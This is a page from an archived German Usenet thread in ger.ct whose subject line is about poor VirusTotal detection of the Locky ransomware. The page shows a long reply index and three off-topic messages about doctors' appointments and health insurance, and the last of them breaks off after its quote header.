Groups > ger.ct > #244977 > unrolled thread

Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "

Started by	Michael Bode <m.g.bode@web.de>
First post	2016-02-24 21:34 +0100
Last post	2016-02-24 22:17 +0100
Articles	20 on this page of 124 — 24 participants

Back to article view | Back to ger.ct

This discussion starts older than the indexed window; earlier articles aren't shown. The article labeled Started by below is the oldest one visible, not the original post.

  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 21:34 +0100
    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 21:39 +0100
      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Karsten Düsterloh <trash@tprac.de> - 2016-02-24 21:49 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 22:04 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 22:13 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-25 07:54 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-24 23:56 -0800
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Pachta <mipani@gmx.de> - 2016-02-25 10:02 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 14:44 +0000
                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 15:04 +0000
                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 16:06 +0000
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Andreas Fecht <forum@aftec.de> - 2016-03-04 16:25 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 22:20 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Dr. Joachim Neudert <neudert@5sl.org> - 2016-02-25 06:19 +0000
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-25 07:46 +0100
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-25 07:52 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-25 09:08 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 00:39 -0800
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 00:54 -0800
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 01:55 -0800
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 14:38 +0000
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 16:01 +0100
                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 18:07 +0100
                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-26 07:48 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 15:03 +0000
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 22:04 -0800
                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 08:01 +0100
                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 23:38 -0800
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lars Gebauer <lars.gebauer@yahoo.de> - 2016-02-26 11:48 +0100
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " v_borchert@despammed.com (Volker Borchert) - 2016-03-07 05:37 +0000
                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-26 09:27 +0100
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 09:37 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-26 09:40 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 09:52 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-26 10:14 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-26 12:13 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 03:20 -0800
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 03:41 -0800
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:36 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:44 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:59 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:33 -0800
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 16:39 +0100
                                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 17:03 +0100
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-26 19:03 +0100
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-28 11:11 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Bernd Ullrich <ullrich_bernd@hotmail.com> - 2016-02-26 12:54 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:33 +0100
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:15 -0800
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 16:19 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:25 -0800
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 16:36 +0100
                                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:45 -0800
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Rick Szabo  <usenet13@rickszabo.de> - 2016-02-26 19:25 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 10:37 -0800
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Rick Szabo  <usenet13@rickszabo.de> - 2016-02-26 20:20 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-27 00:37 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-29 08:35 +0100
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-29 11:31 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-28 23:47 -0800
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Dr. Joachim Neudert <neudert@5sl.org> - 2016-02-26 18:44 +0000
                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-26 10:15 +0000
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 13:07 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Pachta <mipani@gmx.de> - 2016-02-26 14:26 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 14:36 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 14:40 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 14:56 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 05:54 -0800
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 15:01 +0100
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Rick Szabo  <usenet13@rickszabo.de> - 2016-02-26 19:14 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 22:29 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-29 08:43 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Hanno Foest <hurga-news2@tigress.com> - 2016-02-27 02:22 +0100
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Hanno Foest <hurga-news2@tigress.com> - 2016-02-27 02:28 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-27 14:23 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " v_borchert@despammed.com (Volker Borchert) - 2016-03-07 19:23 +0000
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Gerrit Heitsch <gerrit@laosinh.s.bawue.de> - 2016-03-07 21:04 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-03-08 07:42 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-03-08 11:51 +0100
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-03-08 00:43 -0800
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 14:39 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Zink <michael@swamp.franken.de> - 2016-02-26 14:54 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 15:06 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Zink <michael@swamp.franken.de> - 2016-02-26 17:29 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Rick Szabo  <usenet13@rickszabo.de> - 2016-02-26 19:16 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " v_borchert@despammed.com (Volker Borchert) - 2016-03-07 19:26 +0000
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:50 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-26 19:45 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Dr. Joachim Neudert <neudert@5sl.org> - 2016-02-26 19:03 +0000
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Martin Hofgesang <usenetexpires102015.invalid@hofgesang.de> - 2016-03-03 15:52 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-03-04 09:28 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-03-04 00:40 -0800
                              . Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-03-04 10:40 +0100
                                Re: . Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-03-04 01:46 -0800
                                  Re: . Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-03-04 11:34 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Martin Hofgesang <usenetexpires102015.invalid@hofgesang.de> - 2016-03-07 08:36 +0100
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 14:44 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-26 15:54 +0000
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:47 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:11 -0800
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Jürgen Schick <expires-2016-02-29@nurfuerspam.de> - 2016-02-26 17:41 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 18:01 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 18:23 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Jürgen Schick <expires-2016-02-29@nurfuerspam.de> - 2016-02-27 15:21 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Jürgen Schick <expires-2016-02-29@nurfuerspam.de> - 2016-02-29 17:40 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Pachta <mipani@gmx.de> - 2016-02-26 19:26 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Pachta <mipani@gmx.de> - 2016-02-26 19:29 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-26 20:01 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 12:53 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 12:53 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 13:13 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-25 16:33 +0100
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Peter Faust <peter.faust-solingen@t-online.de> - 2016-02-25 16:57 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-25 18:07 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 07:33 +0100
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-26 07:43 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-26 10:29 +0100
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-26 10:27 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Hanno Foest <hurga-news2@tigress.com> - 2016-02-25 15:56 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-25 12:40 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " v_borchert@despammed.com (Volker Borchert) - 2016-03-06 20:33 +0000
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Michael Landenberger" <spameimer052006@arcor.de> - 2016-03-07 11:57 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lars Gebauer <lars.gebauer@yahoo.de> - 2016-03-07 12:17 +0100
      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 22:17 +0100

Page 6 of 7 — ← Prev page 1 2 3 4 5 [6] 7 Next page →

#245213

From	Jürgen Schick <expires-2016-02-29@nurfuerspam.de>
Date	2016-02-26 17:41 +0100
Message-ID	<naq24g.5bc.1@amnews.de>
In reply to	#245197

Dr. Joachim Neudert schrieb:
> Am 26.02.16 um 15:47 schrieb Fidel-Sebastian Hunrichse-Lara:

>> [...] Ärzte müssten nicht einmal ein Telefon haben und würden
>> trotzdem noch genügend Patienten haben...
>
> Ich halte das ganze ja für maßlos übertrieben und aufgebauscht, aber
> immerhin hat die Bundesregierung gerade eben ein Gesetz durchgesetzt
> das Patienten zusichert innerhalb von vier Wochen einen Facharzttermin
> zu bekommen.

Btw https://groups.google.com/forum/#!search/f%C3%BCnf$20lotto-sechser$20ct
* @Dorothee: hint ;-) * aus einem älteren ger.ct-Thread ...

Als für ein aktuelles datu-Thema imho ebenfalls kompetent,
evtl. könntest du UFH erklären, dass, langfristig betrachtet,
Patienten durch Nichtinanspruchnahme von KV-Leistungen
eher seltener sparten? ;-)

Ciao
   Jürgen

-- 
Best of Nockherberg 2016 :-) ...
http://sz.de/muenchen/2.220/nockherberg-1.2878907
http://www.br.de/extra/nockherberg/index.html

[toc] | [prev] | [next] | [standalone]

#245214

From	"Dr. Joachim Neudert" <neudert@5sl.org>
Date	2016-02-26 18:01 +0100
Message-ID	<naq0ci$oks$1@news.albasani.net>
In reply to	#245213

Am 26.02.16 um 17:41 schrieb Jürgen Schick:
> Dr. Joachim Neudert schrieb:
>> Am 26.02.16 um 15:47 schrieb Fidel-Sebastian Hunrichse-Lara:
> 
>>> [...] Ärzte müssten nicht einmal ein Telefon haben und würden
>>> trotzdem noch genügend Patienten haben...
>>
>> Ich halte das ganze ja für maßlos übertrieben und aufgebauscht, aber
>> immerhin hat die Bundesregierung gerade eben ein Gesetz durchgesetzt
>> das Patienten zusichert innerhalb von vier Wochen einen Facharzttermin
>> zu bekommen.
> 
> Btw https://groups.google.com/forum/#!search/f%C3%BCnf$20lotto-sechser$20ct
> * @Dorothee: hint ;-) * aus einem älteren ger.ct-Thread ...
> 
> Als für ein aktuelles datu-Thema imho ebenfalls kompetent,
> evtl. könntest du UFH erklären, dass, langfristig betrachtet,
> Patienten durch Nichtinanspruchnahme von KV-Leistungen
> eher seltener sparten? ;-)
> 
> Ciao
>    Jürgen
> 


Ja, mach ich. Das mach ich gleich. Das mach ich gleich morgen früh.
Moment noch, ich muß erst noch paar Quallen fest an die Wand nageln...  ;-)

[toc] | [prev] | [next] | [standalone]

#245216

From	Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de>
Date	2016-02-26 18:23 +0100
Message-ID	<naq1hk$it6$1@dont-email.me>
In reply to	#245214

Salve allerseits,

Dr. Joachim Neudert schrieb:
> Am 26.02.16 um 17:41 schrieb Jürgen Schick:
